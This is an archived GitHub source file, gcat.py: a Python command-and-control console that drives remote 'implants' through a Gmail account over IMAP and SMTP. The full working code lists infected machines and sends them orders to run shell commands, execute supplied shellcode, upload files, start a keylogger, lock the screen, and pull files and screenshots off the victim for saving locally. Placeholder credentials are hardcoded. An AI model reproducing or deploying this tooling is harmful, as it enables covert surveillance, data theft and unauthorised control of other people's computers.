This repository has been archived by the owner on Nov 16, 2018. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 422
/
gcat.py
269 lines (203 loc) · 10 KB
/
gcat.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
import argparse
import email
import imaplib
import sys
import uuid
import string
import ast
import os
import json
import random
from datetime import datetime
from base64 import b64decode
from smtplib import SMTP
from argparse import RawTextHelpFormatter
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email import Encoders
#######################################
gmail_user = '[email protected]'
gmail_pwd = 'veryc00lp@ssw0rd'
server = "smtp.gmail.com"
server_port = 587
#######################################
def genJobID(slen=7):
return ''.join(random.sample(string.ascii_letters + string.digits, slen))
class msgparser:
def __init__(self, msg_data):
self.attachment = None
self.getPayloads(msg_data)
self.getSubjectHeader(msg_data)
self.getDateHeader(msg_data)
def getPayloads(self, msg_data):
for payload in email.message_from_string(msg_data[1][0][1]).get_payload():
if payload.get_content_maintype() == 'text':
self.text = payload.get_payload()
self.dict = json.loads(payload.get_payload())
elif payload.get_content_maintype() == 'application':
self.attachment = payload.get_payload()
def getSubjectHeader(self, msg_data):
self.subject = email.message_from_string(msg_data[1][0][1])['Subject']
def getDateHeader(self, msg_data):
self.date = email.message_from_string(msg_data[1][0][1])['Date']
class Gcat:
def __init__(self):
self.c = imaplib.IMAP4_SSL(server)
self.c.login(gmail_user, gmail_pwd)
def sendEmail(self, botid, jobid, cmd, arg='', attachment=[]):
if (botid is None) or (jobid is None):
sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)")
sub_header = 'gcat:{}:{}'.format(botid, jobid)
msg = MIMEMultipart()
msg['From'] = sub_header
msg['To'] = gmail_user
msg['Subject'] = sub_header
msgtext = json.dumps({'cmd': cmd, 'arg': arg})
msg.attach(MIMEText(str(msgtext)))
for attach in attachment:
if os.path.exists(attach) == True:
part = MIMEBase('application', 'octet-stream')
part.set_payload(open(attach, 'rb').read())
Encoders.encode_base64(part)
part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach)))
msg.attach(part)
mailServer = SMTP()
mailServer.connect(server, server_port)
mailServer.starttls()
mailServer.login(gmail_user,gmail_pwd)
mailServer.sendmail(gmail_user, gmail_user, msg.as_string())
mailServer.quit()
print "[*] Command sent successfully with jobid: {}".format(jobid)
def checkBots(self):
bots = []
self.c.select(readonly=1)
rcode, idlist = self.c.uid('search', None, "(SUBJECT 'checkin:')")
for idn in idlist[0].split():
msg_data = self.c.uid('fetch', idn, '(RFC822)')
msg = msgparser(msg_data)
try:
botid = str(uuid.UUID(msg.subject.split(':')[1]))
if botid not in bots:
bots.append(botid)
print botid, msg.dict['sys']
except ValueError:
pass
def getBotInfo(self, botid):
if botid is None:
sys.exit("[-] You must specify a client id (-id)")
self.c.select(readonly=1)
rcode, idlist = self.c.uid('search', None, "(SUBJECT 'checkin:{}')".format(botid))
for idn in idlist[0].split():
msg_data = self.c.uid('fetch', idn, '(RFC822)')
msg = msgparser(msg_data)
print "ID: " + botid
print "DATE: '{}'".format(msg.date)
print "OS: " + msg.dict['sys']
print "ADMIN: " + str(msg.dict['admin'])
print "FG WINDOWS: '{}'\n".format(msg.dict['fgwindow'])
def getJobResults(self, botid, jobid):
if (botid is None) or (jobid is None):
sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)")
self.c.select(readonly=1)
rcode, idlist = self.c.uid('search', None, "(SUBJECT 'imp:{}:{}')".format(botid, jobid))
for idn in idlist[0].split():
msg_data = self.c.uid('fetch', idn, '(RFC822)')
msg = msgparser(msg_data)
print "DATE: '{}'".format(msg.date)
print "JOBID: " + jobid
print "FG WINDOWS: '{}'".format(msg.dict['fgwindow'])
print "CMD: '{}'".format(msg.dict['msg']['cmd'])
print ''
print msg.dict['msg']['res'] + '\n'
if msg.attachment:
if msg.dict['msg']['cmd'] == 'screenshot':
imgname = '{}-{}.png'.format(botid, jobid)
with open("./data/" + imgname, 'wb') as image:
image.write(b64decode(msg.attachment))
image.close()
print "[*] Screenshot saved to ./data/" + imgname
elif msg.dict['msg']['cmd'] == 'download':
filename = "{}-{}".format(botid, jobid)
with open("./data/" + filename, 'wb') as dfile:
dfile.write(b64decode(msg.attachment))
dfile.close()
print "[*] Downloaded file saved to ./data/" + filename
def logout():
self.c.logout()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="""
dP
88
.d8888b. .d8888b. .d8888b. d8888P
88' `88 88' `"" 88' `88 88
88. .88 88. ... 88. .88 88
`8888P88 `88888P' `88888P8 dP
.88
d8888P
.__....._ _.....__,
.": o :': ;': o :".
`. `-' .'. .'. `-' .'
`---' `---'
_...----... ... ... ...----..._
.-'__..-''---- `. `"` .' ----'''-..__`-.
'.-' _.--''' `-._.-' ''''--._ `-.`
' .-"' : `"-. `
' `. _.'"'._ .' `
`. ,.-'" "'-., .'
`. .'
jgs `-._ _.-'
`"'--...___...--'"`
...IM IN YUR COMPUTERZ...
WATCHIN YUR SCREENZ
""",
version='1.0.0',
formatter_class=RawTextHelpFormatter,
epilog='Meow!')
parser.add_argument("-id", dest='id', type=str, default=None, help="Client to target")
parser.add_argument('-jobid', dest='jobid', default=None, type=str, help='Job id to retrieve')
agroup = parser.add_argument_group()
blogopts = agroup.add_mutually_exclusive_group()
blogopts.add_argument("-list", dest="list", action="store_true", help="List available clients")
blogopts.add_argument("-info", dest='info', action='store_true', help='Retrieve info on specified client')
sgroup = parser.add_argument_group("Commands", "Commands to execute on an implant")
slogopts = sgroup.add_mutually_exclusive_group()
slogopts.add_argument("-cmd", metavar='CMD', dest='cmd', type=str, help='Execute a system command')
slogopts.add_argument("-download", metavar='PATH', dest='download', type=str, help='Download a file from a clients system')
slogopts.add_argument("-upload", nargs=2, metavar=('SRC', 'DST'), help="Upload a file to the clients system")
slogopts.add_argument("-exec-shellcode", metavar='FILE',type=argparse.FileType('rb'), dest='shellcode', help='Execute supplied shellcode on a client')
slogopts.add_argument("-screenshot", dest='screen', action='store_true', help='Take a screenshot')
slogopts.add_argument("-lock-screen", dest='lockscreen', action='store_true', help='Lock the clients screen')
slogopts.add_argument("-force-checkin", dest='forcecheckin', action='store_true', help='Force a check in')
slogopts.add_argument("-start-keylogger", dest='keylogger', action='store_true', help='Start keylogger')
slogopts.add_argument("-stop-keylogger", dest='stopkeylogger', action='store_true', help='Stop keylogger')
if len(sys.argv) is 1:
parser.print_help()
sys.exit()
args = parser.parse_args()
gcat = Gcat()
jobid = genJobID()
if args.list:
gcat.checkBots()
elif args.info:
gcat.getBotInfo(args.id)
elif args.cmd:
gcat.sendEmail(args.id, jobid, 'cmd', args.cmd)
elif args.shellcode:
gcat.sendEmail(args.id, jobid, 'execshellcode', args.shellcode.read().strip())
elif args.download:
gcat.sendEmail(args.id, jobid, 'download', r'{}'.format(args.download))
elif args.upload:
gcat.sendEmail(args.id, jobid, 'upload', r'{}'.format(args.upload[1]), [args.upload[0]])
elif args.screen:
gcat.sendEmail(args.id, jobid, 'screenshot')
elif args.lockscreen:
gcat.sendEmail(args.id, jobid, 'lockscreen')
elif args.forcecheckin:
gcat.sendEmail(args.id, jobid, 'forcecheckin')
elif args.keylogger:
gcat.sendEmail(args.id, jobid, 'startkeylogger')
elif args.stopkeylogger:
gcat.sendEmail(args.id, jobid, 'stopkeylogger')
elif args.jobid:
gcat.getJobResults(args.id, args.jobid)